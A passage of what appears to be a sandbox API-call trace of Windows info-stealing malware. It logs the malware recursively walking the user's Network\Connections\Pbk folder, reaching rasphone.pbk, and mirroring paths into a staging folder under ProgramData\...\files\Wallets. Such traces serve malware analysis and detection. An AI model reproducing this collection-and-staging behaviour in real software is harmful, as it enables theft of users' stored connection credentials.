out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Network\\Connections") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Network\\Connections" [0052.252] lstrcmpW (lpString1="Connections", lpString2=".") returned 1 [0052.252] lstrcmpW (lpString1="Connections", lpString2="..") returned 1 [0052.252] lstrcpyW (in: lpString1=0x19d7ac, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections" [0052.252] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\*.*" [0052.252] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\*.*", lpFindFileData=0x19d4ec | out: lpFindFileData=0x19d4ec) returned 0x58a240 [0052.252] lstrcpyW (in: lpString1=0x19dbc4, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections" [0052.253] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\" [0052.253] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\", lpString2="." | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\.") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\." [0052.253] lstrcpyW (in: lpString1=0x19d9b8, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Network\\Connections" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Network\\Connections") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Network\\Connections" [0052.253] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Network\\Connections", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Network\\Connections\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Network\\Connections\\" [0052.253] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Network\\Connections\\", lpString2="." | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Network\\Connections\\.") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Network\\Connections\\." [0052.253] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0052.253] FindNextFileW (in: hFindFile=0x58a240, lpFindFileData=0x19d4ec | out: lpFindFileData=0x19d4ec) returned 1 [0052.253] lstrcpyW (in: lpString1=0x19dbc4, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections" [0052.253] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\" [0052.253] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\", lpString2=".." | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\..") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\.." [0052.253] lstrcpyW (in: lpString1=0x19d9b8, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Network\\Connections" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Network\\Connections") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Network\\Connections" [0052.253] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Network\\Connections", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Network\\Connections\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Network\\Connections\\" [0052.253] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Network\\Connections\\", lpString2=".." | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Network\\Connections\\..") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Network\\Connections\\.." [0052.253] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0052.253] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0052.253] FindNextFileW (in: hFindFile=0x58a240, lpFindFileData=0x19d4ec | out: lpFindFileData=0x19d4ec) returned 1 [0052.253] lstrcpyW (in: lpString1=0x19dbc4, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections" [0052.253] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\" [0052.253] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\", lpString2="Pbk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk" [0052.253] lstrcpyW (in: lpString1=0x19d9b8, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Network\\Connections" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Network\\Connections") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Network\\Connections" [0052.253] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Network\\Connections", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Network\\Connections\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Network\\Connections\\" [0052.253] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Network\\Connections\\", lpString2="Pbk" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Network\\Connections\\Pbk") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Network\\Connections\\Pbk" [0052.253] lstrcmpW (lpString1="Pbk", lpString2=".") returned 1 [0052.253] lstrcmpW (lpString1="Pbk", lpString2="..") returned 1 [0052.253] lstrcpyW (in: lpString1=0x19ce68, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk" [0052.253] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\*.*" [0052.253] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\*.*", lpFindFileData=0x19cba8 | out: lpFindFileData=0x19cba8) returned 0x589e00 [0052.254] lstrcpyW (in: lpString1=0x19d280, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk" [0052.254] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\" [0052.254] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\", lpString2="." | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\.") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\." [0052.254] lstrcpyW (in: lpString1=0x19d074, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Network\\Connections\\Pbk" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Network\\Connections\\Pbk") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Network\\Connections\\Pbk" [0052.254] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Network\\Connections\\Pbk", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Network\\Connections\\Pbk\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Network\\Connections\\Pbk\\" [0052.254] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Network\\Connections\\Pbk\\", lpString2="." | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Network\\Connections\\Pbk\\.") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Network\\Connections\\Pbk\\." [0052.254] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0052.254] FindNextFileW (in: hFindFile=0x589e00, lpFindFileData=0x19cba8 | out: lpFindFileData=0x19cba8) returned 1 [0052.254] lstrcpyW (in: lpString1=0x19d280, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk" [0052.254] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\" [0052.254] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\", lpString2=".." | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\..") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\.." [0052.254] lstrcpyW (in: lpString1=0x19d074, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Network\\Connections\\Pbk" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Network\\Connections\\Pbk") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Network\\Connections\\Pbk" [0052.254] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Network\\Connections\\Pbk", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Network\\Connections\\Pbk\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Network\\Connections\\Pbk\\" [0052.254] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Network\\Connections\\Pbk\\", lpString2=".." | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Network\\Connections\\Pbk\\..") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Network\\Connections\\Pbk\\.." [0052.254] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0052.254] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0052.254] FindNextFileW (in: hFindFile=0x589e00, lpFindFileData=0x19cba8 | out: lpFindFileData=0x19cba8) returned 1 [0052.254] lstrcpyW (in: lpString1=0x19d280, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk" [0052.254] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\" [0052.254] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\", lpString2="_hiddenPbk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk" [0052.254] lstrcpyW (in: lpString1=0x19d074, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Network\\Connections\\Pbk" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Network\\Connections\\Pbk") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Network\\Connections\\Pbk" [0052.254] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Network\\Connections\\Pbk", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Network\\Connections\\Pbk\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Network\\Connections\\Pbk\\" [0052.255] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Network\\Connections\\Pbk\\", lpString2="_hiddenPbk" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk" [0052.255] lstrcmpW (lpString1="_hiddenPbk", lpString2=".") returned 1 [0052.255] lstrcmpW (lpString1="_hiddenPbk", lpString2="..") returned 1 [0052.255] lstrcpyW (in: lpString1=0x19c524, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk" [0052.255] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk\\*.*" [0052.255] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk\\*.*", lpFindFileData=0x19c264 | out: lpFindFileData=0x19c264) returned 0x58a2c0 [0052.255] lstrcpyW (in: lpString1=0x19c93c, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk" [0052.255] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk\\" [0052.255] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk\\", lpString2="." | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk\\.") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk\\." [0052.255] lstrcpyW (in: lpString1=0x19c730, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk" [0052.255] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk\\" [0052.255] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk\\", lpString2="." | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk\\.") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk\\." [0052.255] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0052.255] FindNextFileW (in: hFindFile=0x58a2c0, lpFindFileData=0x19c264 | out: lpFindFileData=0x19c264) returned 1 [0052.255] lstrcpyW (in: lpString1=0x19c93c, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk" [0052.255] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk\\" [0052.255] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk\\", lpString2=".." | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk\\..") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk\\.." [0052.255] lstrcpyW (in: lpString1=0x19c730, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk" [0052.255] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk\\" [0052.255] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk\\", lpString2=".." | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk\\..") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk\\.." [0052.255] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0052.255] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0052.255] FindNextFileW (in: hFindFile=0x58a2c0, lpFindFileData=0x19c264 | out: lpFindFileData=0x19c264) returned 1 [0052.255] lstrcpyW (in: lpString1=0x19c93c, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk" [0052.255] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk\\" [0052.255] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk\\", lpString2="rasphone.pbk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk\\rasphone.pbk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk\\rasphone.pbk" [0052.255] lstrcpyW (in: lpString1=0x19c730, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk" [0052.255] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk\\" [0052.255] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk\\", lpString2="rasphone.pbk" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk\\rasphone.pbk") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk\\rasphone.pbk" [0052.255] FindNextFileW (in: 